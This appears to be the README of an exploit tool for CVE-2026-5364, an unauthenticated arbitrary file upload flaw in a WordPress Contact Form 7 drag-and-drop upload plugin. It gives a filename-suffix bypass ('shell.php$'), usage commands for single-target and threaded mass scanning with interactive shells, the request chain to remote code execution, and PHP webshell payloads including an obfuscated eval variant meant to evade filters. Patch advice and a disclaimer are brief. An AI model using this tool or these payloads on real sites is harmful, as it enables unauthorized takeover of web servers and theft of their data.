
CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7
CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7
Unauthenticated Arbitrary File Upload via
sanitize_file_name()Bypass CVSS 8.1 (High) | Affected: <= 1.1.3 | Patched: 1.1.4
| Field | Value |
|---|---|
| CVE ID | CVE-2026-5364 |
| Plugin | Drag and Drop File Upload for Contact Form 7 |
| Slug | drag-and-drop-file-upload-for-contact-form-7 |
| CVSS | 8.1 (High) |
| Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affected | <= 1.1.3 |
| Patched | 1.1.4 |
| Researcher | Thomas Sanzey |
| Published | April 23, 2026 |
The plugin reads the file extension before sanitize_file_name() sanitization.
An attacker uploads a file named shell.php$:
pathinfo('shell.php$', PATHINFO_EXTENSION) → 'php$' ← bypasses the blacklist
sanitize_file_name('shell.php$') → 'shell.php' ← saved as PHP
Chain of three independent weaknesses:
type POST parameter is read from the userpathinfo() is applied to the raw filenamesanitize_file_name() inside wp_unique_filename() removes the $ charactergit clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests
requests library# Basic exploit (id command)
python CVE-2026-5364.py -u https://target.com
# Custom command
python CVE-2026-5364.py -u https://target.com -c "whoami"
# Interactive shell
python CVE-2026-5364.py -u https://target.com --interactive
# Different shell type
python CVE-2026-5364.py -u https://target.com --shell exec
# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080
# Scan with 20 threads
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt
# Also test patched versions
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30
# Save results to file
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt
Target:
-u, --url URL Single target URL
-l, --list FILE Target list (URL per line)
Exploit:
-c, --cmd CMD OS command (default: id)
--shell TYPE Webshell type: basic|exec|pass|eval|info
-i, --interactive Open interactive shell
--no-skip-patched Also try patched versions
Scanning:
-t, --threads N Number of threads (default: 10)
--timeout S Timeout in seconds (default: 15)
--proxy URL Proxy address
Output:
-o, --output FILE Results file
-v, --verbose Verbose output
--no-color Disable colored output
1. Nonce Detection
└─ Exposed to every visitor via wp_localize_script()
GET /contact/ → "nonce":"abc123def4" inside HTML
2. Shell Upload
└─ POST /wp-admin/admin-ajax.php
action=cf7_file_uploads
nonce=abc123def4
type=php$ ← not in blacklist
file=shell.php$ ← sanitize_file_name() → shell.php
3. URL Retrieval
└─ Response: {"status":"ok","text":"https://target.com/wp-content/
uploads/cf7-uploads-custom/6831a2f4b3c12.php"}
4. RCE
└─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Characters removed by sanitize_file_name():
$ % ~ ` (space)
The tool automatically tries all bypass characters.
Update the plugin to 1.1.4 or later.
# Update with WP-CLI
wp plugin update drag-and-drop-file-upload-for-contact-form-7
// WRONG (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
// CORRECT (1.1.4)
$clean_name = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);
// type parameter now read from admin setting
$type = $this->get_admin_allowed_types($form_id); // not from POST
This tool is developed solely for educational and defensive security research purposes. Unauthorized use on systems is prohibited and may have legal consequences. Use only on systems you have permission to test.
| Type | Payload | Usage |
|---|
basic | <?php system($_GET["cmd"]); ?> | General purpose |
exec | <?php echo shell_exec($_GET["cmd"]); ?> | Full output |
pass | <?php passthru($_GET["cmd"]); ?> | Binary output |
eval | <?php @eval(base64_decode($_POST["x"])); ?> | Stealth/WAF bypass |
info | <?php phpinfo(); ?> | PHP info |
| Factor | Impact |
|---|
Apache .htaccess (Content-Disposition: attachment) | Prevents PHP execution |
| Nginx / LiteSpeed | .htaccess ignored — RCE possible |
Random filename (uniqid()) | Ineffective because AJAX response returns the URL |
| Nonce | CSRF protection, not authentication — ineffective |